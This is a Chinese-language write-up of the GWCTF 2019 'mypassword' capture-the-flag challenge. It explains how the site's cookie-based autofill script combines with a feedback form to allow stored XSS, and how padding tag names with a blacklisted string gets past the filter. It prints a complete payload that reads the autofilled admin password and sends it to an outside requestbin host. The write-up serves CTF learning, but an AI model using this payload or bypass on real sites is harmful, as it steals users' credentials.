[GWCTF 2019]mypassword 利用网站本身的js和留言功能进行xss&http://http.requestbin.buuoj.cn网站的使用
作者:互联网
一般限制已经登录的用户再重新登录,都会在login.php页面session_start(),判断session数组中特定的值是否存在,如果存在,就header(Location:)进行跳转,但这个login.php页面不同。
他是在login.php页面在前端用<script src="./js/login.js"></script>,调用了一个js文件(可在火狐浏览器调试器->主线程出找到),内容如下:
if (document.cookie && document.cookie != '') { var cookies = document.cookie.split('; '); var cookie = {}; for (var i = 0; i < cookies.length; i++) { var arr = cookies[i].split('='); var key = arr[0]; cookie[key] = arr[1]; } if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){ document.getElementsByName("username")[0].value = cookie['user']; document.getElementsByName("password")[0].value = cookie['psw']; } }
原理是用户只要登陆了,cookie里就有cookie['username']和cookie['password'],然后用javascript的语法
document.getElementsByName("username")[0].value = cookie['user'];
document.getElementsByName("password")[0].value = cookie['psw'];
来自动填充表单数据。
但是后端肯定还是用了header跳转,因为虽然填了表单,但没自动发送
但是,这却非常适合xss
只要我们写留言,就按前端代码的格式写,用户查看留言的时候留言的代码会嵌入到前端代码里执行。
留言的内容大概是两个<input>标签,分别是username和password,然后<script src=./js/login.js></script>
因为管理员查看的时候肯定是有cookie的,就会填充到两个input,然后用javasript的代码获取<input>的value,再用javascript代码
document.location="http://http.requestbin.buuoj.cn/xxxxxx/?a="+pwd;
发送到平台上(http.requestbin.buuoj.cn可以看向它请求的http包)
具体留言内容:(feedback.php页面前端注释给出了黑名单数组,黑名单里的字符串会被替换为空,这里是利用黑名单会被替换为空就行绕过,如incookieput)
<incookieput type="text" name="username"> <incookieput type="password" name="password"> <scrcookieipt scookierc="./js/login.js"></scrcookieipt> <scrcookieipt> var pwd = docucookiement.getcookieElementsByName("password")[0].value; docucookiement.locacookietion="http://http.requestbin.buuoj.cn/xxx/?a="+pwd; </scrcookieipt>
在平台上查看http报文获取flag
标签:xss,password,http,网站,value,cookie,var,document 来源: https://www.cnblogs.com/hackerone/p/16519348.html